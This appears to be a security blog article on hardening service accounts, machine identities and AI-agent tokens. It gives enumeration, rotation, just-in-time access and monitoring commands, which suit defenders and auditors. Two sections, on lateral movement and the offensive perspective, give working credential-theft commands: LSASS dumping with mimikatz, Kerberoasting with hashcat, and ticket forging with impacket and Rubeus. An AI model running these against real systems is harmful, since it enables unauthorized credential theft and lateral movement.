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Introduction:
In modern penetration tests, offensive security experts increasingly target non-human identities—service accounts, machine identities, and AI agents—because they are chronically overprivileged, unmonitored, and never revoked. These entities have become the most effective lateral movement vectors, yet 59% of organizations lack any alternative to permanent access, meaning a compromise can remain active indefinitely without detection.
Learning Objectives:
- Identify and enumerate overprivileged service accounts and machine identities across Linux, Windows, and cloud environments
- Detect Shadow AI deployments with hardcoded access tokens and excessive permissions
- Implement automated rotation, least privilege, and just-in-time access for non-human entities
You Should Know:
1. Understanding Non-Human Identities and Their Risks
Non-human identities include service accounts, application registrations, managed identities, CI/CD pipelines, and AI agents. Unlike human accounts, they rarely have password rotation, their permissions are often granted “once and forgotten,” and no one monitors their login patterns. Attackers compromise one such account and gain persistent, stealthy access.
Step‑by‑step enumeration:
- Linux: List all system users with shells or service accounts (UID < 1000 or dedicated service UIDs).
`cat /etc/passwd | grep -E “:(1[0-9]{3}|[0-9]{1,3}):” | awk -F: ‘{print $1, $3}’`
Check cron jobs running under service accounts: `crontab -u serviceaccount -l`
Inspect systemd service files: `systemctl list-unit-files –type=service | grep -v “user@”` and `grep -r “User=” /etc/systemd/system/`
– Windows: List all service accounts (non-interactive, managed service accounts, gMSA).
`Get-WmiObject -Class Win32_Service | Where-Object {$_.StartName -ne “LocalSystem” -and $_.StartName -ne “NT AUTHORITY\NetworkService”} | Select-Object Name, StartName`
Enumerate managed service accounts in AD: `Get-ADServiceAccount -Filter `
Check logon rights: `secedit /export /cfg config.inf` and search for “SeServiceLogonRight”
2. Lateral Movement via Overprivileged Service Accounts
Service accounts often have local admin rights or domain privileges. Attackers use credential dumping (LSASS, memory scraping) or Kerberoasting to extract hashes and then move laterally.
Step‑by‑step simulation and mitigation:
- Attack simulation (Linux): After compromising a low-privilege user, find service account tickets.
`python3 GetUserSPNs.py domain.com/username:password -request` (Kerberoasting)
- Attack simulation (Windows): Dump LSASS using `procdump` or
mimikatz.
`procdump.exe -accepteula -ma lsass.exe lsass.dmp` then `mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords”` - Mitigation: Use Group Managed Service Accounts (gMSA) which automatically rotate passwords, and enforce Just Enough Administration (JEA) on Windows.
Create JEA endpoint: `New-PSSessionConfigurationFile -Path .\JEA.pssc -RunAsVirtualAccount -RoleDefinitions @{‘DOMAIN\ServiceAccount’ = @{RoleCapabilities = ‘Maintenance’}}`
Register endpoint: `Register-PSSessionConfiguration -Name Maintenance -Path .\JEA.pssc`
- Linux mitigation: Restrict service accounts with `sudo` rules and use `sssd` with Kerberos constrained delegation.
3. Shadow AI and Hardcoded Tokens
Developers deploy AI agents quickly, often embedding API keys, cloud access tokens, or database credentials directly in code, configuration files, or environment variables. These tokens rarely expire and grant excessive permissions.
Step‑by‑step detection and remediation:
- Find hardcoded secrets (Linux/macOS/WSL):
`grep -r –include=”.py” –include=”.js” –include=”.yaml” “sk-[a-zA-Z0-9]” .` (OpenAI API keys)
`grep -r “AWS_SECRET_ACCESS_KEY” .`
Use truffleHog: `trufflehog filesystem –directory . –only-verified`
- Windows PowerShell scanning:
`Get-ChildItem -Recurse -Include .config,.ps1,.json | Select-String “Bearer|api_key|token|secret”`
- Remediation: Replace hardcoded keys with managed identities.
- Azure: Assign a Managed Identity to the AI service and retrieve token via `curl “http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com” -H “Metadata:true”`
- AWS: Use IAM roles for EC2 or ECS; get credentials from `http://169.254.169.254/latest/meta-data/iam/security-credentials/rolename`
- Rotate tokens automatically: Set up Azure Key Vault or AWS Secrets Manager with rotation lambda.
4. Detecting Overprivileged Machine Identities
Most non-human identities have far more permissions than needed—e.g., a backup service account with domain admin, or a CI/CD pipeline with write access to production databases.
Step‑by‑step privilege auditing:
- Windows: Use AccessChk from Sysinternals.
`accesschk.exe -a -w -c “ServiceAccountName”` (check write access to services)
`accesschk.exe -k “ServiceAccountName”` (check registry permissions)
Enumerate effective permissions on file shares: `Get-Acl \\server\share | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like “ServiceAccount”}`
– Linux: Use `sudo -l` for sudo rights, `find` for file ownership.
`find / -user serviceaccount -type f -perm /4000 2>/dev/null` (SUID binaries owned by service account)
Audit capabilities: `getcap -r / 2>/dev/null | grep serviceaccount`
– Cloud (AWS): Use IAM Access Analyzer to find unused permissions.
`aws accessanalyzer list-findings –analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/MyAnalyzer`
Generate least-privilege policy: `aws iam get-access-key-last-used –access-key-id AKIA…` then `aws iam generate-service-last-accessed-details`
5. Remediation: Just-in-Time Access and Automated Rotation
The core solution is eliminating permanent standing access. Implement just-in-time (JIT) elevation and forced credential rotation.
Step‑by‑step implementation:
- Windows gMSA (no password management required):
Create gMSA: `New-ADServiceAccount -Name “AppSvc01” -DNSHostName “appsvc01.domain.com” -PrincipalsAllowedToRetrieveManagedPassword “SRV01$”,”SRV02$”`
Install on target server: `Install-ADServiceAccount -Identity “AppSvc01″`
- HashiCorp Vault for secret rotation:
Enable AWS secrets engine: `vault secrets enable aws`
Configure role with rotation: `vault write aws/roles/my-role credential_type=iam_user policy_arns=arn:aws:iam::aws:policy/ReadOnlyAccess`
Generate dynamic credentials: `vault read aws/creds/my-role` (credentials expire after TTL)
– Azure JIT for service principals: Use Privileged Identity Management (PIM) for service principals.
`az rest –method POST –url “https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests” –body “{…}”`
– Linux cron + `chage` for forced password rotation:
`echo “serviceaccount:$(openssl rand -base64 32)” | chpasswd` and `chage -M 30 serviceaccount` (expires every 30 days)
6. Monitoring and Alerting for Non-Human Identity Abuse
Without proper logs, a compromised service account can operate for months. Focus on anomalous behavior: logins from unusual IPs, off-hours access, excessive resource consumption.
Step‑by‑step SIEM configuration:
- Windows Event Logs: Enable auditing for logon events (Event ID 4624, 4625) and service account logons (Logon Type 3 or 4).
Enable via GPO: Computer Config → Windows Settings → Security Settings → Advanced Audit Policy → Audit Logon → Success and Failure.
Forward events to SIEM: `wevtutil epl Security C:\security.evtx` or use WinRM. - Linux auditd: Track service account commands.
`auditctl -w /usr/bin/sudo -p x -k service_account_sudo`
`auditctl -w /etc/passwd -p wa -k passwd_changes`
- Azure Monitor for service principals:
`az monitor activity-log list –query “[?authorization.resource==’Microsoft.Authorization/roleAssignments’]”`
- Alert rules (Sigma style): Detect multiple failed logons for a service account (
EventID 4625with TargetUserName ending in$), then success (4624) from a new IP.
7. Offensive Perspective: How Attackers Weaponize These Weaknesses
Understanding attack paths is critical for defense. The most effective techniques targeting non-human identities include Kerberoasting, Pass-the-Ticket, and token replay.
Step‑by‑step offensive simulation (authorized only):
- Kerberoasting (extract service account hashes for offline cracking):
`impacket-GetUserSPNs domain.local/username:password -outputfile hashes.txt`
Crack with hashcat: `hashcat -m 13100 hashes.txt rockyou.txt`
- Pass-the-Ticket (Linux): After dumping a service ticket, inject it into current session.
`impacket-ticketer -domain-sid S-1-5-21-… -domain domain.local -spn http/webserver -user-id 1103 Administrator`
`export KRB5CCNAME=/tmp/krb5cc_administrator`
- Windows with Rubeus: `Rubeus.exe asktgt /user:svc_account /rc4:NTLMhash /ptt`
- Mitigation: Disable RC4 encryption for Kerberos, enforce AES, set short service account ticket lifetimes (max 10 hours), and monitor for `Event ID 4769` (Kerberos service ticket requested) with unusual counts.
What Undercode Say:
- Non-human identities are the new perimeter; ignoring them is equivalent to leaving the back door wide open. The 59% statistic from the post underscores that most organizations are not even aware of the permanent access they grant to machines and services.
- Shadow AI dramatically accelerates this problem—developers prioritize speed over security, embedding tokens that become instant entry points. Defenders must shift from “trust but verify” to “never trust, always rotate,” using dynamic secrets and just-in-time elevation as the new standard.
- Practical takeaways: Enumerate all service accounts this week using the commands above; rotate every static secret older than 90 days; implement at least one automated rotation mechanism (gMSA, Vault, or cloud managed identity). From an offensive perspective, these are the lowest-hanging fruits—make them the highest priority for hardening.
Prediction:
Within 18 months, regulatory frameworks (ISO 27001:2026, NIST 2.0) will explicitly require non-human identity lifecycle management, including mandatory rotation intervals and continuous behavioral monitoring. Breaches originating from compromised service accounts will outnumber human‑credential breaches, driving a new market for “identity threat detection and response” (ITDR) specifically for machines. Organizations that fail to adapt will face not only data breaches but also compliance penalties and insurance denials. The roundtable on April 8—featuring offensive experts like Julien Metayer—will mark a turning point in public awareness, pushing non-human identities from an architectural detail to a board‑level risk.
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